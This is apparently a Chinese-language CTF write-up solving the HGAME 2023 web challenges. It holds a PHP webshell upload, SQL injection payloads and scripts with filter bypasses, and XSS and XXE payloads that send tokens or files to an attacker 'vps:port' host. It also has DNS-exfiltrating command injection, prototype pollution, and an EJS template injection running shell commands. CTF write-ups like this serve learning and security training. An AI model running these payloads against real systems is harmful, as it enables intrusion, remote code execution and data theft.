Week 1

Classic Childhood Game

翻 js 代码有一段数据

1
2
3
var a = [
"\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x6c\x56\x59\x7a\x42\x69\x56\x31\x59\x35",
];

二次 base64 解码后是 flag

Become A Member

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET / HTTP/1.1
Host: week-1.hgame.lwsec.cn:32174
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Cute-Bunny
referer:bunnybunnybunny.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-Forwarded-For:127.0.0.1
Cookie: code=Vidar;Domain=localhost; guest=Cute-Bunny
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 47

{"username":"luckytoday","password":"happy123"}

Guess Who I Am

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import json
import requests

json_data = '[......]'
data = json.loads(json_data)
# print(data[99]['intro'])

s = requests.Session()
url = "http://week-1.hgame.lwsec.cn:31292"
for i in range(100):
r = s.get(url+"/api/getQuestion").json()
print(r['message'])
for j in range(100):
if(data[j]['intro'] == r['message']):
print(data[j])
r = s.post(url+"/api/verifyAnswer",data={"id":data[j]['id']}).text
print(r)
break
r = s.get(url+"/api/getScore").text
print(r)

Show Me Your Beauty

传 .pHP 后缀文件,可以正常解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /upload.php HTTP/1.1
Host: week-1.hgame.lwsec.cn:30132
Content-Length: 229
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryc0uFodxkYi3qQZ9m
Origin: http://week-1.hgame.lwsec.cn:30132
Referer: http://week-1.hgame.lwsec.cn:30132/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=MTY3Mjk3MjczNHxEdi1CQkFFQ180SUFBUkFCRUFBQU9fLUNBQUlHYzNSeWFXNW5EQTBBQzJOb1lXeHNaVzVuWlVsa0EybHVkQVFDQUh3R2MzUnlhVzVuREFnQUJuTnZiSFpsWkFOcGJuUUVBZ0FJfAHPerVxvZqIjEkV1SwR3zoY9rLTGfUtAM9-LiKqF-Mw; PHPSESSID=8mu2c82dr6pvb9orl2646f8e0r
Connection: close

------WebKitFormBoundaryc0uFodxkYi3qQZ9m
Content-Disposition: form-data; name="file"; filename="l3n.pHP"
Content-Type: image/png

GIF89a
<?php echo "hacked";system($_GET['l1n']);
------WebKitFormBoundaryc0uFodxkYi3qQZ9m--

Week 2

git leak

1
2
3
4
python3 GitHack.py http://week-2.hgame.lwsec.cn:32020/.git/
cd week-2.hgame.lwsec.cn_32020
cat Th1s_1s-flag
hgame{Don't^put*Git-in_web_directory}

V2board

1
2
3
4
python3 poc.py -u http://week-2.hgame.lwsec.cn:32628/
cd dump/week-2.hgame.lwsec.cn:32628
cat user.json
flag: hgame{39d580e71705f6abac9a414def74c466}

Search Commodity

提示给够了,登录框不需要注入,是一个弱密码 user01/admin123

对 id 参数进行注入,发现使用 database() 会报错,需要判断一下数据库类型

能用的

  • user()
  • length()
  • version()
  • @@version
  • @@secure_file_priv
    不能用的
  • len()

应该是 mysql,为什么 database()用不了呢,尝试双写 database,发现可以绕过了

继续测试,发现 2-1 可以使用,但是 order by 1 用不了

继续测试,认为过滤了空格,测试 /**/,发现还是不行,那测试一下是否过滤了 /**/ 这个字符串,5-length("/**/"),发现计算结果是 5,说明 /**/ 也被过滤了。继续双写绕过

  • search_id=-1/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,datadatabasebase(),3#
    • se4rch
  • search_id=-1/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,(selselectect/*/**/*/group_concat(table_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/like/*/**/*/datadatabasebase()),1#
    • 5ecret15here,L1st,user1nf0
  • search_id=-1/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,(selselectect/*/**/*/group_concat(column_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/like/*/**/*/datadatabasebase()/*/**/*/aandnd/*/**/*/table_name/*/**/*/like/*/**/*/"5ecret15here"),1#
    • f14gggg1shere
  • search_id=-1/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,(selselectect/*/**/*/f14gggg1shere/*/**/*/frfromom/*/**/*/5ecret15here),1#
    • hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!}

Designer

看到获取 flag 的逻辑,需要本地 POST 访问/user/register,才能拿到包含有 flag 的 token

之后拿这个 token 到 /user/info 去解密,拿到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.post("/user/register", (req, res) => {
const username = req.body.username;
let flag = "hgame{fake_flag_here}";
if (
(username == "admin" && req.ip == "127.0.0.1") ||
req.ip == "::ffff:127.0.0.1"
) {
flag = "hgame{true_flag_here}";
}
const token = jwt.sign({ username, flag }, secret);
res.json({ token });
});
app.get("/user/info", auth, (req, res) => {
res.json({ username: req.user.username, flag: req.user.flag });
});

有一个打 XSS 的点在 /button/preview,我们很容易看到对于传入的 req.query 过滤并不专业

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const blacklist = [
/on/i,
/localStorage/i,
/alert/,
/fetch/,
/XMLHttpRequest/,
/window/,
/location/,
/document/,
];
for (const key in req.query) {
for (const item of blacklist) {
if (item.test(key.trim()) || item.test(req.query[key].trim())) {
req.query[key] = "";
}
}
}

使用一下 query 即可绕过

1
2
3
{
"l1n": "tel;\"></a><script>eval(atob(\"${base64payload}\"))</script><a>"
}

xss 点有了,尝试直接从 window.localStorage.getItem("token") 获取 bot 的 token,发现返回的是 null

1
2
3
4
5
document.write(
`<img src="http://vps:port/?flag=${btoa(
window.localStorage.getItem("token")
)}" />`
);

那么,我尝试了这样的打法,xss 让 bot 去/user/register 注册一个 admin 账号,把 token 通过 img 标签发送回来

1
2
3
4
5
6
7
8
9
10
11
fetch("/user/register", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
body: "username=admin",
})
.then((res) => res.text())
.then((res) => {
document.write(`<img src="http://vps:port/?flag=${btoa(res)}" />`);
});

拿到 flag

Week 3

Gopher Shop

购买逻辑判断得不是很严格,uint 大概可以整数溢出

1
2
3
4
5
6
7
8
9
10
11
12
//校验是否买的起
if err != nil || number < 1 || user.Balance < uint(number) * price{
context.JSON(400, gin.H{"error": "invalid request"})
return
}

user.Days -= 1
user.Inventory -= uint(number)
user.Balance -= uint(number) * price

//扣除库存和余额
err = db.UpdateUserInfo(user)

购买 1844674407370955162 个 Apple,花费 1844674407370955162*10 : user.Balance > uint(18446744073709551620)

1
/api/v1/user/buyProduct?product=Apple&number=1844674407370955162

获得 n 多个 Apple,sell 掉 1000000000000000000 个,获得 10000000000000000000 Vidar Coin,然后就可以买 flag 啦

Ping To The Host

输入 ip,然后后台 ping ip

可以 dnslog 外带数据

1
2
ip=$(ec''ho%09/f*).xxxxx.ceye.io
ip=$(ca''t%09/fl''ag_is_here_haha).xxxxx.ceye.io

Login To Get My Gift

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

url = "http://week-3.hgame.lwsec.cn:32604/"

database = "L0g1NMe"
table_name = "User1nf0mAt1on"
column_name = "id,PAssw0rD,UsErN4me"
UsErN4me = "hgAmE2023HAppYnEwyEAr,testuser"
PAssw0rD = "WeLc0meT0hgAmE2023hAPPySql,testpasswrod"
for i in range(0,100):
for j in range(32,127):
data={
"username":"testuser",
# "password":"t'or\tlength(database())-%s"%str(i) legnth(database()) == 7
# "password":"tes'or\tascii(right(left(database(),%s),1))-%s#" %(i,j)
# "password":"t'or\tlength((select\tgroup_concat(table_name)\tfrom\tinformation_schema.tables\twhere\ttable_schema\tregexp\tdatabase()))-14#"
# "password":"tes'or\tascii(right(left(((select\tgroup_concat(table_name)\tfrom\tinformation_schema.tables\twhere\ttable_schema\tregexp\tdatabase())),%s),1))-%s#" %(i,j)
# "password":"t'or\tlength((select\tgroup_concat(column_name)\tfrom\tinformation_schema.columns\twhere\ttable_name\tregexp\t\"User1nf0mAt1on\"))-20#"
# "password":"tes'or\tascii(right(left(((select\tgroup_concat(column_name)\tfrom\tinformation_schema.columns\twhere\ttable_name\tregexp\t\"User1nf0mAt1on\")),%s),1))-%s#" %(i,j)
# "password":"t'or\tlength((select\tgroup_concat(UsErN4me)\tfrom\tUser1nf0mAt1on))-30#"
# "password":"tes'or\tascii(right(left(((select\tgroup_concat(UsErN4me)\tfrom\tUser1nf0mAt1on)),%s),1))-%s#" %(i,j)
"password":"tes'or\tascii(right(left(((select\tgroup_concat(PAssw0rD)\tfrom\tUser1nf0mAt1on)),%s),1))-%s#" %(i,j)
}
r = requests.post(url+"login",data=data)
# print(r.text)
if "Failed" in r.text:
# print(i)
PAssw0rD += chr(j)
print(PAssw0rD)
break
else:
continue

print(database)
print(table_name)
print(column_name)
print(UsErN4me)
print(PAssw0rD)

Week 4

Tell Me

XXE 盲注

参考文章: https://m3lon.github.io/2019/01/20/xxe 实验踩坑记录/

而且题目会直接报错,把 flag 整出来

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % dtd SYSTEM "http://vps:port/evil.dtd">
%dtd;%int;%send; ]>

evil.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://vps:port/?p=%file;'>">
1
2
3
<?php
$flag1 = "hgame{Be_Aware_0f_XXeBl1nd1njecti0n}";
?>

Shared Diary

原型链污染

1
2
3
4
5
6
7
8
9
{
"username": "tel",
"password": "tel",
"constructor": {
"prototype": {
"role": "admin"
}
}
}

ejs 模板完全可控 SSTI,查到了 https://miaotony.xyz/2021/03/04/CTF_2021HgameWeek4/#toc-heading-3

可以使用

  • < % - 输出非转义的数据到模板
1
2
3
diary=<%- global.process.mainModule.require('child_process').execSync('cat /flag') %>

hgame{N0tice_prototype_pollution&&EJS_server_template_injection}